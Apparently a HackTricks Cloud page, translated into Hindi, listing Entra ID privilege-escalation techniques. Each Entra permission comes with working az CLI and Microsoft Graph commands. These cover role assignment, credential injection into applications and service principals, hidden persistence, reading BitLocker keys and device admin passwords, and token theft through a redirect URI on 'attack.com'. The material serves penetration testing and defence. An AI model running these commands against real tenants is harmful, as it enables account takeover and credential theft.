Az - EntraID Privesc
Reading time: 12 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
note
ध्यान दें कि सभी ग्रैन्युलर अनुमतियाँ जो Entra ID में अंतर्निहित भूमिकाओं में हैं, कस्टम भूमिकाओं में उपयोग के लिए योग्य नहीं हैं।
भूमिकाएँ
भूमिका: विशेषाधिकार प्राप्त भूमिका प्रशासक
यह भूमिका प्रिंसिपलों को भूमिकाएँ सौंपने और भूमिकाओं को अधिक अनुमतियाँ देने के लिए आवश्यक ग्रैन्युलर अनुमतियाँ रखती है। दोनों क्रियाएँ विशेषाधिकार बढ़ाने के लिए दुरुपयोग की जा सकती हैं।
- उपयोगकर्ता को भूमिका सौंपें:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- एक भूमिका में अधिक अनुमतियाँ जोड़ें:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Applications
microsoft.directory/applications/credentials/update
यह एक हमलावर को क्रेडेंशियल्स (पासवर्ड या प्रमाणपत्र) को मौजूदा अनुप्रयोगों में जोड़ने की अनुमति देता है। यदि अनुप्रयोग के पास विशेषाधिकार प्राप्त अनुमतियाँ हैं, तो हमलावर उस अनुप्रयोग के रूप में प्रमाणित हो सकता है और उन विशेषाधिकारों को प्राप्त कर सकता है।
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
यह applications/credentials/update
के समान क्रियाएँ करने की अनुमति देता है, लेकिन एकल-निर्देशिका अनुप्रयोगों के लिए सीमित है।
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
अपने आप को एक मालिक के रूप में जोड़कर, एक हमलावर एप्लिकेशन में हेरफेर कर सकता है, जिसमें क्रेडेंशियल और अनुमतियाँ शामिल हैं।
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
एक हमलावर उन अनुप्रयोगों में एक रीडायरेक्ट URI जोड़ सकता है जो टेनेट के उपयोगकर्ताओं द्वारा उपयोग किए जा रहे हैं और फिर उनके साथ लॉगिन URLs साझा कर सकता है जो नए रीडायरेक्ट URL का उपयोग करते हैं ताकि उनके टोकन चुराए जा सकें। ध्यान दें कि यदि उपयोगकर्ता पहले से ही अनुप्रयोग में लॉग इन था, तो प्रमाणीकरण स्वचालित होगा बिना उपयोगकर्ता को कुछ स्वीकार करने की आवश्यकता के।
ध्यान दें कि अनुप्रयोग द्वारा अनुरोधित अनुमतियों को बदलना भी संभव है ताकि अधिक अनुमतियाँ प्राप्त की जा सकें, लेकिन इस मामले में उपयोगकर्ता को सभी अनुमतियों के लिए पूछने वाले प्रॉम्प्ट को फिर से स्वीकार करना होगा।
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
सेवा प्रिंसिपल
microsoft.directory/servicePrincipals/credentials/update
यह एक हमलावर को मौजूदा सेवा प्रिंसिपलों में क्रेडेंशियल जोड़ने की अनुमति देता है। यदि सेवा प्रिंसिपल के पास उच्चाधिकार हैं, तो हमलावर उन अधिकारों को ग्रहण कर सकता है।
az ad sp credential reset --id <sp-id> --append
caution
नया उत्पन्न किया गया पासवर्ड वेब कंसोल में नहीं दिखाई देगा, इसलिए यह सेवा प्रमुख पर स्थायीता बनाए रखने का एक छिपा हुआ तरीका हो सकता है।
API से इन्हें इस प्रकार पाया जा सकता है: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
यदि आपको त्रुटि मिलती है "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."
तो इसका कारण यह है कि आप SP के passwordCredentials प्रॉपर्टी को संशोधित नहीं कर सकते और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक अनुमति की आवश्यकता है (microsoft.directory/applications/allProperties/update
) जो आपको निष्पादित करने की अनुमति देती है:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
यह एक हमलावर को मौजूदा सेवा प्रमुखों में क्रेडेंशियल जोड़ने की अनुमति देता है। यदि सेवा प्रमुख के पास उच्चाधिकार हैं, तो हमलावर उन अधिकारों को ग्रहण कर सकता है।
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
ऐप्लिकेशनों की तरह, यह अनुमति एक सेवा प्रिंसिपल के लिए अधिक मालिक जोड़ने की अनुमति देती है। एक सेवा प्रिंसिपल का मालिक होना इसके क्रेडेंशियल्स और अनुमतियों पर नियंत्रण की अनुमति देता है।
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
caution
एक नया मालिक जोड़ने के बाद, मैंने इसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE विधि समर्थित नहीं है, भले ही यह वह विधि है जिसका उपयोग मालिक को हटाने के लिए करना आवश्यक है। इसलिए आप आजकल मालिकों को हटा नहीं सकते।
microsoft.directory/servicePrincipals/disable
और enable
ये अनुमतियाँ सेवा प्रमुखों को अक्षम और सक्षम करने की अनुमति देती हैं। एक हमलावर इस अनुमति का उपयोग किसी सेवा प्रमुख को सक्षम करने के लिए कर सकता है जिसे वह किसी न किसी तरीके से एक्सेस कर सकता है ताकि विशेषाधिकार बढ़ा सके।
ध्यान दें कि इस तकनीक के लिए हमलावर को सक्षम सेवा प्रमुख पर नियंत्रण पाने के लिए अधिक अनुमतियों की आवश्यकता होगी।
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials
& microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
ये अनुमतियाँ सिंगल साइन-ऑन के लिए क्रेडेंशियल बनाने और प्राप्त करने की अनुमति देती हैं, जो तृतीय-पक्ष अनुप्रयोगों तक पहुँच प्रदान कर सकती हैं।
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
समूह
microsoft.directory/groups/allProperties/update
यह अनुमति विशेषाधिकार प्राप्त समूहों में उपयोगकर्ताओं को जोड़ने की अनुमति देती है, जिससे विशेषाधिकार वृद्धि होती है।
az ad group member add --group <GroupName> --member-id <UserId>
नोट: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।
microsoft.directory/groups/owners/update
यह अनुमति समूहों का मालिक बनने की अनुमति देती है। एक समूह का मालिक समूह की सदस्यता और सेटिंग्स को नियंत्रित कर सकता है, संभावित रूप से समूह के लिए विशेषाधिकार बढ़ा सकता है।
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
नोट: यह अनुमति Entra ID भूमिका-निर्धारण योग्य समूहों को बाहर करती है।
microsoft.directory/groups/members/update
यह अनुमति एक समूह में सदस्यों को जोड़ने की अनुमति देती है। एक हमलावर खुद को या दुर्भावनापूर्ण खातों को विशेषाधिकार प्राप्त समूहों में जोड़ सकता है, जिससे उच्च स्तर की पहुंच प्राप्त हो सकती है।
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
यह अनुमति एक गतिशील समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर गतिशील नियमों को संशोधित कर सकता है ताकि वह बिना स्पष्ट जोड़ने के विशेषाधिकार प्राप्त समूहों में शामिल हो सके।
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
नोट: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।
डायनामिक समूह प्रिवेस्क
उपयोगकर्ताओं के लिए अपनी विशेषताओं को संशोधित करके डायनामिक समूहों के सदस्य के रूप में जोड़े जाने के लिए विशेषाधिकार बढ़ाना संभव हो सकता है। अधिक जानकारी के लिए देखें:
उपयोगकर्ता
microsoft.directory/users/password/update
यह अनुमति गैर-प्रशासक उपयोगकर्ताओं के लिए पासवर्ड रीसेट करने की अनुमति देती है, जिससे संभावित हमलावर को अन्य उपयोगकर्ताओं के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती है। यह अनुमति कस्टम भूमिकाओं को असाइन नहीं की जा सकती।
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
यह विशेषाधिकार उपयोगकर्ता की विशेषताओं को संशोधित करने की अनुमति देता है। यह सामान्य है कि गतिशील समूह होते हैं जो विशेषताओं के मानों के आधार पर उपयोगकर्ताओं को जोड़ते हैं, इसलिए, यह अनुमति एक उपयोगकर्ता को आवश्यक विशेषता मान सेट करने की अनुमति दे सकती है ताकि वह एक विशिष्ट गतिशील समूह का सदस्य बन सके और विशेषाधिकार बढ़ा सके।
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
गलत कॉन्फ़िगर की गई कंडीशनल एक्सेस नीतियाँ जो MFA की आवश्यकता करती हैं, को बायपास किया जा सकता है, जाँच करें:
Az - Conditional Access Policies & MFA Bypass
Devices
microsoft.directory/devices/registeredOwners/update
यह अनुमति हमलावरों को उपकरणों के मालिक के रूप में खुद को असाइन करने की अनुमति देती है ताकि वे उपकरण-विशिष्ट सेटिंग्स और डेटा पर नियंत्रण या पहुँच प्राप्त कर सकें।
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
यह अनुमति हमलावरों को अपने खाते को उपकरणों के साथ जोड़ने की अनुमति देती है ताकि वे पहुंच प्राप्त कर सकें या सुरक्षा नीतियों को बायपास कर सकें।
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
यह अनुमति हमलावरों को Microsoft Entra से जुड़े उपकरणों के बैकअप स्थानीय व्यवस्थापक खाता क्रेडेंशियल्स की विशेषताओं को पढ़ने की अनुमति देती है, जिसमें पासवर्ड भी शामिल है।
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
यह अनुमति BitLocker कुंजियों तक पहुँचने की अनुमति देती है, जो एक हमलावर को ड्राइव को डिक्रिप्ट करने की अनुमति दे सकती है, जिससे डेटा की गोपनीयता का उल्लंघन हो सकता है।
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
अन्य दिलचस्प अनुमतियाँ (TODO)
microsoft.directory/applications/permissions/update
microsoft.directory/servicePrincipals/permissions/update
microsoft.directory/applications.myOrganization/allProperties/update
microsoft.directory/applications/allProperties/update
microsoft.directory/servicePrincipals/appRoleAssignedTo/update
microsoft.directory/applications/appRoles/update
microsoft.directory/applications.myOrganization/permissions/update
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।